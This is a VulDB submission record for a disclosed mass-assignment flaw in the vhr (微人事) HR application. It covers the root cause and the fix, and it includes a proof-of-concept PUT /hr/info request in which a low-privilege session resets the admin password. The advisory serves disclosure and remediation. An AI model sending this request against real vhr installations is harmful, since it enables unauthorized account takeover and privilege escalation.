| 제목 | lenve vhr 1.0-SNAPSHOT Improper Input Validation |
|---|
| 설명 | vhr(微人事) — Mass Assignment Privilege Escalation via PUT /hr/info (VHR-VULN-001)
Product: vhr(微人事) 1.0-SNAPSHOT
CWE: CWE-915 / CWE-269
Classification: Improper Input Validation
=== ROOT CAUSE ===
`HrInfoController.updateHr()` binds request JSON to `Hr` without ownership check. `HrMapper.xml` updates `password` when present.
=== REPRODUCTION ===
Low-privilege user `libai` can PUT `/hr/info` with another user's `id` and set `password` to a self-generated BCrypt hash, resetting admin credentials.
PoC:
PUT /hr/info HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
{"id":3,"password":"$2a$10$BCryptHashHere","enabled":true,"username":"admin"}
Expected: {"status":200,"msg":"更新成功!"} — then admin login with new password
=== IMPACT ===
Vertical privilege escalation to ROLE_admin without prior admin access.
=== FIX ===
Bind updates to session user id; forbid password/username/enabled via this endpoint.
|
|---|
| 원천 | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-001-mass-assignment-privesc.md |
|---|
| 사용자 | Anonymous User |
|---|
| 제출 | 2026. 07. 16. PM 01:54 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 12. AM 10:24 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 403089 [lenve vhr 1.0-SNAPSHOT HrMapper.xml HrInfoController.updateHr 비밀번호 권한 상승] |
|---|
| 포인트들 | 20 |
|---|